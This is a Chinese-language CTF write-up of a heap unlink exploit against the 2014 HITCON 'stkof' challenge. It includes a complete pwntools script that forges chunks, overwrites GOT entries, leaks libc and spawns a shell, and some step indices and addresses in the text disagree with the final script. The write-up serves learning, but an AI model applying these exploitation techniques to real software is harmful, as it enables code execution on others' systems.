暑假学习计划 - 0x02
关于unlink的学习资料以及本例题的wp都很多,本篇主要是做个小总结,内附较为详细的调试图片以便初学者理解
(自从入了堆坑学unlink,到现在差不多一个半月了,真的是死去活来,也怪自己的基础差,现在算是理解一些了,先记下来等以后深入理解后再补充,感谢各位师傅的帮助,尤其是kaka师傅)
先放基础学习链接:
Linux堆溢出漏洞利用之unlink https://www.cnblogs.com/alisecurity/p/5563819.html
Linux堆内存管理深入分析(上半部) http://www.cnblogs.com/alisecurity/p/5486458.html#4032991
Linux堆内存管理深入分析(下半部) https://www.cnblogs.com/alisecurity/p/5520847.html
ctf pwn中的unlink exploit(堆利用) https://bbs.pediy.com/thread-224836.htm
CTF Wiki - unlink https://ctf-wiki.github.io/ctf-wiki/pwn/heap/unlink/
基础知识就是上面这些,然后就拿例题来说吧,2014 HITCON CTF stkof 在CTF Wiki上可以找到
简单分析:
程序具有三个主要功能:
①分配堆块,记作alloc();②编辑堆块内容,记作edit();③free堆块,记作free();
利用思路:
(exp中计算了/bin/sh的地址但在本次实际并没有用到)
(由于gdb调试还不是很熟练,下面的图片是多次gdb.attach(p)的结果)
①先分配四个chunk,记作chunk1,chunk2,chunk3,在bss段的地址分别记为ptr1,ptr2,ptr3,ptr4;
alloc(0x50) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4
②构造payload1编辑chunk2,构造fake chunk,然后free(chunk3),完成unlink chunk2,使ptr2 内容变成 ptr2 - 0x18
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
③构造payload2,将ptr1的内容变成free@got,将ptr2的内容变成puts@got,这里要注意,输入的字符是从0x602138处开始,而我们要填充的位置是0x601248和0x602150,所以前0x10个字节应该先被填充
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = 'a'*8+'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
④构造payload3,edit(chunk2),free(chunk2)将free@got的内容修改为puts@plt,free(chunk2)即可泄露puts()函数的真实地址
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
⑤然后根据puts()函数的地址求出libc的基地址,进而求出system()函数的地址
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
⑥构造payload4,edit(chunk1),将free@got里的内容修改为system_addr
payload4 = p64(system_addr)
edit(3, payload4)
⑦edit(chunk4),将chunk4内容填充为’/bin/sh\x00’,然后free(chunk4),因为free@got内容已经被修改为system_addr,所以执行即可获取shell
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
exp:
from pwn import *
# context.log_level = 'debug'
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('./libc.so.6')
def alloc(size):
p.sendline('1')
p.sendline(str(size))
p.recvuntil('OK\n')
def edit(idx, content):
p.sendline('2')
p.sendline(str(idx))
p.sendline(str(len(content)))
p.send(content)
p.recvuntil('OK\n')
def free(idx):
p.sendline('3')
p.sendline(str(idx))
head = 0x602140
fd = head + 16 - 0x18
bk = head + 16 - 0x10
alloc(0x50) # idx 1
alloc(0x30) # idx 2
alloc(0x80) # idx 3
alloc(0x20) # idx 4
payload1 = p64(0)+p64(0x30)+p64(fd)+p64(bk)
payload1 = payload1.ljust(0x30,'A')
payload1 += p64(0x30) + p64(0x90)
edit(2, payload1)
free(3)
free_got = elf.got['free']
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
payload2 = 'a'*8+'b'*8+p64(free_got)+p64(puts_got)
edit(2, payload2)
payload3 = p64(puts_plt)
edit(1, payload3)
free(2)
p.recvuntil('OK\n')
puts_addr = u64(p.recvuntil('\nOK\n', drop=True).ljust(8, '\x00'))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search('/bin/sh'))
print 'puts_addr: '+hex(puts_addr)
print 'system_addr :'+hex(system_addr)
print 'binsh_addr: '+hex(binsh_addr)
payload4 = p64(system_addr)
edit(1, payload4)
edit(4, '/bin/sh\x00')
free(4)
p.interactive()
关于这个题的wp:
https://blog.csdn.net/qq_33528164/article/details/79586902